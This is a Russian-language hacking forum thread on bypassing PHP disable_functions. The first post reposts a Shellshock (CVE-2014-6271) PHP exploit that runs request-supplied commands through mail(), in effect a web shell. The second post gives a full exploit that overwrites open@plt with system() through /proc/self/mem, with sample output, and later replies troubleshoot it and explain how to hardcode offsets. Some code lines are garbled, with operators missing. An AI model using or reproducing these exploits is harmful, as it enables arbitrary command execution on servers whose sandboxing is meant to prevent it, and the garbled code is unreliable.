Старый 18.11.2014, 12:10   #1
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию Bypass disable_functions

# Exploit Author: Ryan King (Starfall)
# CVE: CVE-2014-6271

Код:
<?php
function shellshock($cmd) { // Execute a command via CVE-2014-6271 @
mail.c:283
   if(strstr(readlink("/bin/sh"), "bash") != FALSE) {
     $tmp = tempnam(".","data");
     putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
     // In Safe Mode, the user may only alter environment variables
whose names
     // begin with the prefixes supplied by this directive.
     // By default, users will only be able to set environment variables
that
     // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is
empty,
     // PHP will let the user modify ANY environment variable!
     mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actually
send any mail
   }
   else return "Not vuln (not bash)";
   $output = @file_get_contents($tmp);
   @unlink($tmp);
   if($output != "") return $output;
   else return "No output, or not vuln.";
}
shellshock($_REQUEST["cmd"]);
?>
SynQ вне форума   Ответить с цитированием
Старый 18.11.2014, 16:06   #2
Beched
 
Регистрация: 06.07.2010
Сообщений: 400
Репутация: 118
По умолчанию Обход disable_functions в PHP

Привет!

Недавно был QIWI CTF на ZeroNights, который мы выиграли. Как обычно, затащил Andrey1800.
Там был таск от Влада Роскова (vos), в котором давался WSO шелл на серваке, где в докруте некуда писать, и в disable_functions все экзеки. Цель -- запустить суидный бинарь и прочитать флаг.
На второй день мы вспомнили про похожий таск на PlaidCTF 2014: http://rootfoo.org/ctf/2014-plaid-nightmares-375
Там был Python-jail, который можно обойти перезаписью памяти через procfs.

В реале тоже есть такие косяки, Влад делал задание по мотивам http://seclists.org/fulldisclosure/2014/Oct/35.
Мне захотелось развлечься, и я запилил эксплойт под это дело с парсингом ELF'а для получения смещений, хотя их и так можно легко получить, скачав бинари либц и пхп и посмотрев через readelf локально =)

Условия:
1) Ядро версии >= 2.98
2) PHP-CGI (возможно, работает и с PHP-FPM), в mod_php не хватает прав даже для чтения /proc/self/mem, потому что Apache setuid'ит форки, но, возможно, в старых версиях сработает
3) Сам этот эксплойт тестился с PHP-CLI на x64, для x32 надо менять смещения
4) open_basedir = Off (или есть обход, чтобы читать /lib/... и /proc/...)

Пример работы:
Код:
$ php procfs_bypass.php
[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)
[*] Trying to get open@plt offset in PHP binary
[+] Address is 0xe94998
[*] Libc location: /lib/x86_64-linux-gnu/libc-2.19.so
[*] Trying to get open and system symbols from Libc
[+] Got it. Seeking for address in memory
[*] open@plt addr: 0x7f150f86d150
[*] system@plt addr: 0x7f150f7c7530
[*] Rewriting open@plt address
[+] Address written. Executing cmd
uid=1000(beched) gid=1000(beched) группы=1000(beched),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),110(sambashare)
PHP код:
<?php

/*

$libc_ver:

beched@linuxoid ~ $ php -r 'readfile("/proc/self/maps");' | grep libc
7f3dfa609000-7f3dfa7c4000 r-xp 00000000 08:01 9831386                    /lib/x86_64-linux-gnu/libc-2.19.so

$open_php:

beched@linuxoid ~ $ objdump -R /usr/bin/php | grep '\sopen$'
0000000000e94998 R_X86_64_JUMP_SLOT  open

$system_offset and $open_offset:

beched@linuxoid ~ $ readelf -s /lib/x86_64-linux-gnu/libc-2.19.so | egrep "\s(system|open)@@"
  1337: 0000000000046530    45 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.2.5
  1679: 00000000000ec150    90 FUNC    WEAK   DEFAULT   12 open@@GLIBC_2.2.5

*/

function packlli($value) {
    
$higher = ($value 0xffffffff00000000) >> 32;
    
$lower $value 0x00000000ffffffff;
    return 
pack('V2'$lower$higher);
}

function 
unp($value) {
    return 
hexdec(bin2hex(strrev($value)));
}

function 
parseelf($bin_ver$rela false) {
    
$bin file_get_contents($bin_ver);
    
$e_shoff unp(substr($bin0x288));
    
$e_shentsize unp(substr($bin0x3a2));
    
$e_shnum unp(substr($bin0x3c2));
    
$e_shstrndx unp(substr($bin0x3e2));

    for(
$i 0$i $e_shnum$i += 1) {
        
$sh_type unp(substr($bin$e_shoff $i $e_shentsize 44));
        if(
$sh_type == 11) { // SHT_DYNSYM
            
$dynsym_off unp(substr($bin$e_shoff $i $e_shentsize 248));
            
$dynsym_size unp(substr($bin$e_shoff $i $e_shentsize 328));
            
$dynsym_entsize unp(substr($bin$e_shoff $i $e_shentsize 568));
        }
        elseif(!isset(
$strtab_off) && $sh_type == 3) { // SHT_STRTAB
            
$strtab_off unp(substr($bin$e_shoff $i $e_shentsize 248));
            
$strtab_size unp(substr($bin$e_shoff $i $e_shentsize 328));
        }
        elseif(
$rela && $sh_type == 4) { // SHT_RELA
            
$relaplt_off unp(substr($bin$e_shoff $i $e_shentsize 248));
            
$relaplt_size unp(substr($bin$e_shoff $i $e_shentsize 328));
            
$relaplt_entsize unp(substr($bin$e_shoff $i $e_shentsize 568));
        }
    }

    if(
$rela) {
        for(
$i $relaplt_off$i $relaplt_off $relaplt_size$i += $relaplt_entsize) {
            
$r_offset unp(substr($bin$i8));
            
$r_info unp(substr($bin$i 88)) >> 32;
            
$name_off unp(substr($bin$dynsym_off $r_info $dynsym_entsize4));
            
$name '';
            
$j $strtab_off $name_off 1;
            while(
$bin[++$j] != "\0") {
                
$name .= $bin[$j];
            }
            if(
$name == 'open') {
                return 
$r_offset;
            }
        }
    }
    else {
        for(
$i $dynsym_off$i $dynsym_off $dynsym_size$i += $dynsym_entsize) {
            
$name_off unp(substr($bin$i4));
            
$name '';
            
$j $strtab_off $name_off 1;
            while(
$bin[++$j] != "\0") {
                
$name .= $bin[$j];
            }
            if(
$name == '__libc_system') {
                
$system_offset unp(substr($bin$i 88));
            }
            if(
$name == '__open') {
                
$open_offset unp(substr($bin$i 88));
            }
        }
        return array(
$system_offset$open_offset);
    }
}

echo 
"[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)\n";
if(
strpos(php_uname('a'), 'x86_64') === false) {
    echo 
"[-] This exploit is for x64 Linux. Exiting\n";
    exit;
}
if(
substr(php_uname('r'), 04) < 2.98) {
    echo 
"[-] Too old kernel (< 2.98). Might not work\n";
}
echo 
"[*] Trying to get open@plt offset in PHP binary\n";
$open_php parseelf('/proc/self/exe'true);
if(
$open_php == 0) {
    echo 
"[-] Failed. Exiting\n";
    exit;
}
echo 
'[+] Offset is 0x' dechex($open_php) . "\n";
$maps file_get_contents('/proc/self/maps');
preg_match('#\s+(/.+libc\-.+)#'$maps$r);
echo 
"[*] Libc location: $r[1]\n";
echo 
"[*] Trying to get open and system symbols from Libc\n";
list(
$system_offset$open_offset) = parseelf($r[1]);
if(
$system_offset == or $open_offset == 0) {
    echo 
"[-] Failed. Exiting\n";
    exit;
}
echo 
"[+] Got them. Seeking for address in memory\n";
$mem fopen('/proc/self/mem''rb');
fseek($mem$open_php);
$open_addr unp(fread($mem8));
echo 
'[*] open@plt addr: 0x' dechex($open_addr) . "\n";
$libc_start $open_addr $open_offset;
$system_addr $libc_start $system_offset;
echo 
'[*] system@plt addr: 0x' dechex($system_addr) . "\n";
echo 
"[*] Rewriting open@plt address\n";
$mem fopen('/proc/self/mem''wb');
fseek($mem$open_php);
if(
fwrite($mempacklli($system_addr))) {
    echo 
"[+] Address written. Executing cmd\n";
    
readfile('/usr/bin/id');
    exit;
}
echo 
"[-] Write failed. Exiting\n";

Последний раз редактировалось Beched; 28.01.2015 в 12:38..
Beched вне форума   Ответить с цитированием
Старый 19.11.2014, 11:25   #3
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Круче могла бы быть только правка списка disable_functions в памяти php
SynQ вне форума   Ответить с цитированием
Старый 20.11.2014, 07:23   #4
Beched
 
Регистрация: 06.07.2010
Сообщений: 400
Репутация: 118
По умолчанию

Цитата:
Сообщение от SynQ Посмотреть сообщение
Круче могла бы быть только правка списка disable_functions в памяти php
Хы, как вариант. А ещё можно шеллкод зафигарить в функцию какую-нибудь.
Beched вне форума   Ответить с цитированием
Старый 09.09.2015, 12:25   #5
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Цитата:
Сообщение от SynQ Посмотреть сообщение
Круче могла бы быть только правка списка disable_functions в памяти php
pdf на тему:
Shoot zend_executor_globals to bypass php disable_functions
SynQ вне форума   Ответить с цитированием
Старый 28.01.2015, 12:04   #6
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию

восхитительно.

но в 6 centos и opensuse 13.1 не работает

Код:
bash-4.1$ php procfs_bypass.php[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)
[-] Too old kernel (< 2.98). Might not work[*] Trying to get open@plt offset in PHP binary
[-] Failed. Exiting
Код:
10:15:01 /dev/shm/html> php procfs_bypass.php[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)[*] Trying to get open@plt offset in PHP binary
[-] Failed. Exiting

Последний раз редактировалось 12309; 28.01.2015 в 12:18..
12309 вне форума   Ответить с цитированием
Старый 28.01.2015, 12:17   #7
Beched
 
Регистрация: 06.07.2010
Сообщений: 400
Репутация: 118
По умолчанию

Цитата:
Сообщение от 12309 Посмотреть сообщение
восхитительно.

но в 6 centos не работает
bash-4.1$ php procfs_bypass.php[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)
[-] Too old kernel (< 2.98). Might not work[*] Trying to get open@plt offset in PHP binary
[-] Failed. Exiting
Тут, судя по ошибкам, не получилось распарсить бинарь пхп. Это могло быть по двум причинам: а) не удалось его прочитать через /proc/self/exe; б) мой кривой парсер ошибся.
В любом случае, какое там ядро? Если в самом деле младше 2.98, не получится писать в /proc/self/mem.

В комментах к сорцу написано, как руками получить смещения, выкачав бинари, их можно вставить в код.

Последний раз редактировалось Beched; 28.01.2015 в 12:22..
Beched вне форума   Ответить с цитированием
Старый 28.01.2015, 12:26   #8
Beched
 
Регистрация: 06.07.2010
Сообщений: 400
Репутация: 118
По умолчанию

Упс, извините, сейчас заметил, что последний код, который я сюда выложил, действительно не находит адрес.
Поменял на предыдущую версию, которая работает у меня.
Beched вне форума   Ответить с цитированием
Старый 28.01.2015, 15:36   #9
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию

opensuse, 3.11.10-7-desktop, php 5.4.20
не находит __libc_system и __open
Код:
13:28:44 /dev/shm/html> php procfs_bypass2.php[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)[*] Trying to get open@plt offset in PHP binary
[+] Offset is 0xb379e8[*] Libc location: /usr/lib64/libc-client.so.2007e_suse[*] Trying to get open and system symbols from Libc
PHP Notice:  Undefined variable: system_offset in /dev/shm/html/procfs_bypass2.php on line 88
PHP Notice:  Undefined variable: open_offset in /dev/shm/html/procfs_bypass2.php on line 88
[-] Failed. Exiting
ручками адреса находятся
Код:
13:34:16 /dev/shm> readelf -s /lib64/libc-2.18.so | egrep "\s(system|open)@@"
  1337: 0000000000041f20    94 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.2.5
  1679: 00000000000da760    90 FUNC    WEAK   DEFAULT   12 open@@GLIBC_2.2.5
как их правильно вставить в скрипт?
12309 вне форума   Ответить с цитированием
Старый 28.01.2015, 15:42   #10
Beched
 
Регистрация: 06.07.2010
Сообщений: 400
Репутация: 118
По умолчанию

Цитата:
Сообщение от 12309 Посмотреть сообщение
opensuse, 3.11.10-7-desktop, php 5.4.20
не находит __libc_system и __open
Код:
13:28:44 /dev/shm/html> php procfs_bypass2.php[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)[*] Trying to get open@plt offset in PHP binary
[+] Offset is 0xb379e8[*] Libc location: /usr/lib64/libc-client.so.2007e_suse[*] Trying to get open and system symbols from Libc
PHP Notice:  Undefined variable: system_offset in /dev/shm/html/procfs_bypass2.php on line 88
PHP Notice:  Undefined variable: open_offset in /dev/shm/html/procfs_bypass2.php on line 88
[-] Failed. Exiting
ручками адреса находятся
Код:
13:34:16 /dev/shm> readelf -s /lib64/libc-2.18.so | egrep "\s(system|open)@@"
  1337: 0000000000041f20    94 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.2.5
  1679: 00000000000da760    90 FUNC    WEAK   DEFAULT   12 open@@GLIBC_2.2.5
как их правильно вставить в скрипт?
Строчку
list($system_offset, $open_offset) = parseelf($r[1]);
поменять на
list($system_offset, $open_offset) = array(0x41f20, 0xda760);

Кстати, скрипт определил Libc location: /usr/lib64/libc-client.so.2007e_suse через /proc/self/maps. Наверное, из-за этого косяк.
Beched вне форума   Ответить с цитированием
Ответ

Метки
disable functions, php

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра
Комбинированный вид Комбинированный вид

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot